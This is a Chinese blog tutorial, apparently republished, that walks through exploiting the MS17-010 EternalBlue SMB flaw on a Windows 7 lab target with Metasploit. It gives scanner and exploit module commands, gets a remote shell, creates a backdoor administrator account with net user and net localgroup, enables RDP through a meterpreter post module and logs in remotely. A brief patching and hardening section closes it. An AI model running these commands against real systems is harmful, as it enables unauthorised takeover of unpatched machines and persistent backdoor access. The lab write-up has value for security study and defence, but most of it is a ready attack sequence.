MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法

2024-06-22 17:12

本文主要是介绍MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

一、漏洞简介

漏洞原理

影响版本

二、漏洞复现

三、复现过程

1、扫描局域网内的C段主机(主机发现)

扫描结果:

2.使用MSF的永恒之蓝漏洞模块

3.对主机进行扫描,查看其是否有永恒之蓝漏洞

4.准备攻击

四、漏洞利用

五、提升权限

1.创建新用户

2.将用户添加至管理员群组

3.查看端口的开启情况

六、远程登录

七、漏洞修复


一、漏洞简介

永恒之蓝(EternalBlue)是一个由美国国家安全局(NSA)开发的漏洞利用工具,最初在2017年由“影子经纪人”(Shadow Brokers)组织泄露。这个漏洞利用工具利用了Windows操作系统中的一个安全漏洞(CVE-2017-0144),允许攻击者远程执行代码,无需用户交互即可远程控制受感染的计算机。具体来说,它利用了Windows Server Message Block (SMB) v1协议中的漏洞,使得攻击者可以在目标系统上执行恶意代码,甚至可以在未经授权的情况下传播自身。

永恒之蓝漏洞的爆发引发了全球范围内的关注,尤其是在2017年的“惊叹号勒索软件”(WannaCry ransomware)攻击中,该漏洞被大规模利用,造成了数十万台计算机的感染和停机事件。这次攻击揭示了许多组织和公司在保护其网络安全方面的薄弱之处,也促使了更广泛的安全漏洞修复和网络防护措施的加强。

漏洞原理

永恒之蓝漏洞的利用基于Windows操作系统中的一个漏洞(CVE-2017-0144),主要涉及以下几个方面的技术细节:

  1. Windows SMB服务漏洞:漏洞利用了Windows操作系统中的Server Message Block (SMB) v1协议的一个安全漏洞。SMB协议是Windows系统用于文件和打印机共享的网络协议。

  2. 远程执行代码(RCE):漏洞允许攻击者通过发送特制的网络数据包,无需用户交互即可远程执行恶意代码。这使得攻击者可以获取目标系统的控制权。

  3. 无需身份验证:攻击者可以在不需要凭据或者认证的情况下利用漏洞,这使得漏洞的利用更为危险和普遍。

影响版本

永恒之蓝漏洞主要影响以下版本的Windows操作系统:

  • Windows Vista

  • Windows Server 2008

  • Windows 7

  • Windows Server 2008 R2

二、漏洞复现

环境

  1. 攻击机:Linux kali (IP:192.168.220.128)

  2. 靶机:Windows 7 旗舰版(IP;192.168.220.133)

环境说明:Windows 7 防火墙关闭,445端口打开,两台主机之间可以ping通

三、复现过程

1、扫描局域网内的C段主机(主机发现)

扫描结果:
  1. 192.168.220.2

    • 只有一个端口开放:53/tcp(domain)。这可能是一台运行DNS服务的设备。

  2. 192.168.220.128

    • 所有扫描的1000个端口都处于“ignored states”状态,表示这台主机在扫描时未给出具体的端口状态信息。这可能是由于网络或主机的防火墙设置等原因导致的。

  3. 192.168.220.133

    • 多个端口开放,包括80/tcp(http)、135/tcp(msrpc)、139/tcp(netbios-ssn)、445/tcp(microsoft-ds)、5357/tcp(wsdapi)以及一系列高端口(49152-49165/tcp)。

    • 这表明这台主机可能是一台Windows主机,同时运行了HTTP服务、Microsoft RPC服务、NetBIOS服务、以及一些未知用途的高端口服务。

2.使用MSF的永恒之蓝漏洞模块

打开MSF

msfconsole

这个界面每次都不相同。

搜索漏洞代码:ms17_010

search ms17_010

这里可以看到26个可以利用的模块及其描述:

  1. exploit/windows/smb/ms17_010_eternalblue

    • 揭露日期:2017-03-14

    • 等级:average

    • 检查:Yes

    • 描述:MS17-010 EternalBlue SMB远程Windows内核池损坏漏洞利用,用于执行远程代码。

    目标包括:

    • Windows 7

    • Windows Embedded Standard 7

    • Windows Server 2008 R2

    • Windows 8

    • Windows 8.1

    • Windows Server 2012

    • Windows 10 Pro

    • Windows 10 Enterprise Evaluation

    这个模块利用了SMB服务上的漏洞,通常使用的是TCP端口445。

  2. exploit/windows/smb/ms17_010_psexec

    • 揭露日期:2017-03-14

    • 等级:normal

    • 检查:Yes

    • 描述:MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB远程Windows代码执行漏洞利用。

    目标包括:

    • 自动目标

    • PowerShell

    • 本地上传(Native upload)

    • MOF上传(MOF upload)

    这个模块利用了SMB服务上的漏洞,同样使用的是TCP端口445。

  3. auxiliary/admin/smb/ms17_010_command

    • 揭露日期:2017-03-14

    • 等级:normal

    • 检查:No

    • 描述:MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB远程Windows命令执行辅助模块。

    这个模块用于执行远程命令,同样是基于SMB服务上的漏洞,端口也是TCP端口445。

  4. auxiliary/scanner/smb/smb_ms17_010

    • 揭露日期:未指定

    • 等级:normal

    • 检查:No

    • 描述:MS17-010 SMB远程执行代码检测辅助模块。

    这个模块用于检测目标系统是否受到MS17-010漏洞的影响,同样基于SMB服务,端口是TCP端口445。

3.对主机进行扫描,查看其是否有永恒之蓝漏洞

使用模块24开始攻击:use 24,也可以用use scanner/smb/smb_ms17_010

options查看需要设置的参数

设置目标主机set rhost 192.168.220.133,设置成功会返回rhost的值,用run开始

  • VULNERABLE to MS17-010:扫描结果显示目标主机存在MS17-010漏洞,即永恒之蓝漏洞。

  • 操作系统信息:目标主机运行的是 Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit) 操作系统。

4.准备攻击

使用模块0开始攻击:use 0,也可以用use windows/smb/ms17_010_eternalblue

查看需要设置的参数:options

设置目标ip地址

set rhost 192.168.220.133

run

看到win说明成功

四、漏洞利用

获取靶机shell

shell

乱码是因为linux和windows的编码方式不同导致

使用代码:chcp 65001

查看IP:ipconfig

五、提升权限

1.创建新用户

net user bai 123456 /add

bai是用户名,12456是密码

2.将用户添加至管理员群组

net localgroup administrators bai /add

3.查看端口的开启情况

netstat -ano

4.开启3389端口

输入exit退出命令行,在meterpreter中输入run post/windows/manage/enable_rdp

查看端口

成功开启3389端口

六、远程登录

打开一个新终端,输入rdesktop 192.168.220.133

中途会让确认,输入yes确认

选择其他用户

输入我们刚才新加的用户名和密码

登录成功!

七、漏洞修复

永恒之蓝漏洞(EternalBlue)是一个影响Windows操作系统的严重安全漏洞,可被用于远程执行代码攻击。微软已经发布了修复补丁来解决这个漏洞,以及其他相关的安全更新。以下是修复永恒之蓝漏洞的主要方法:

  1. 安装官方补丁

    • 确保系统上安装了最新的安全补丁。微软已经发布了修复EternalBlue漏洞的补丁。您可以访问微软的官方网站或使用Windows Update来获取并安装最新的安全补丁。

  2. 更新操作系统

    • 确保操作系统是最新的版本,并且所有的安全更新和补丁都已安装。及时更新操作系统是保持系统安全的重要步骤之一。

  3. 禁用不必要的服务

    • 如果不需要使用远程桌面服务(RDP)或SMB服务,可以考虑禁用或限制它们的使用。尽可能减少系统暴露在外部攻击面。

  4. 配置防火墙

    • 在防火墙上设置规则,限制远程访问和网络流量,防止未经授权的访问和攻击。

  5. 网络隔离

    • 将重要的系统和网络基础设施隔离在内部网络中,减少来自外部网络的直接访问。

  6. 使用安全软件

    • 安装和使用有效的安全软件,如防病毒软件、防火墙和入侵检测系统(IDS),帮助识别和阻止潜在的威胁。

这篇关于MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1084909

相关文章

Feign Client超时时间设置不生效的解决方法

《FeignClient超时时间设置不生效的解决方法》这篇文章主要为大家详细介绍了FeignClient超时时间设置不生效的原因与解决方法,具有一定的的参考价值,希望对大家有一定的帮助... 在使用Feign Client时,可以通过两种方式来设置超时时间:1.针对整个Feign Client设置超时时间

C/C++错误信息处理的常见方法及函数

《C/C++错误信息处理的常见方法及函数》C/C++是两种广泛使用的编程语言,特别是在系统编程、嵌入式开发以及高性能计算领域,:本文主要介绍C/C++错误信息处理的常见方法及函数,文中通过代码介绍... 目录前言1. errno 和 perror()示例:2. strerror()示例:3. perror(

CSS去除a标签的下划线的几种方法

《CSS去除a标签的下划线的几种方法》本文给大家分享在CSS中,去除a标签(超链接)的下划线的几种方法,本文给大家介绍的非常详细,感兴趣的朋友一起看看吧... 在 css 中,去除a标签(超链接)的下划线主要有以下几种方法:使用text-decoration属性通用选择器设置:使用a标签选择器,将tex

C++变换迭代器使用方法小结

《C++变换迭代器使用方法小结》本文主要介绍了C++变换迭代器使用方法小结,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧... 目录1、源码2、代码解析代码解析:transform_iterator1. transform_iterat

C++中std::distance使用方法示例

《C++中std::distance使用方法示例》std::distance是C++标准库中的一个函数,用于计算两个迭代器之间的距离,本文主要介绍了C++中std::distance使用方法示例,具... 目录语法使用方式解释示例输出:其他说明:总结std::distance&n编程bsp;是 C++ 标准

Linux换行符的使用方法详解

《Linux换行符的使用方法详解》本文介绍了Linux中常用的换行符LF及其在文件中的表示,展示了如何使用sed命令替换换行符,并列举了与换行符处理相关的Linux命令,通过代码讲解的非常详细,需要的... 目录简介检测文件中的换行符使用 cat -A 查看换行符使用 od -c 检查字符换行符格式转换将

SpringBoot实现数据库读写分离的3种方法小结

《SpringBoot实现数据库读写分离的3种方法小结》为了提高系统的读写性能和可用性,读写分离是一种经典的数据库架构模式,在SpringBoot应用中,有多种方式可以实现数据库读写分离,本文将介绍三... 目录一、数据库读写分离概述二、方案一:基于AbstractRoutingDataSource实现动态

Java中的String.valueOf()和toString()方法区别小结

《Java中的String.valueOf()和toString()方法区别小结》字符串操作是开发者日常编程任务中不可或缺的一部分,转换为字符串是一种常见需求,其中最常见的就是String.value... 目录String.valueOf()方法方法定义方法实现使用示例使用场景toString()方法方法

Java中List的contains()方法的使用小结

《Java中List的contains()方法的使用小结》List的contains()方法用于检查列表中是否包含指定的元素,借助equals()方法进行判断,下面就来介绍Java中List的c... 目录详细展开1. 方法签名2. 工作原理3. 使用示例4. 注意事项总结结论:List 的 contain

macOS无效Launchpad图标轻松删除的4 种实用方法

《macOS无效Launchpad图标轻松删除的4种实用方法》mac中不在appstore上下载的应用经常在删除后它的图标还残留在launchpad中,并且长按图标也不会出现删除符号,下面解决这个问... 在 MACOS 上,Launchpad(也就是「启动台」)是一个便捷的 App 启动工具。但有时候,应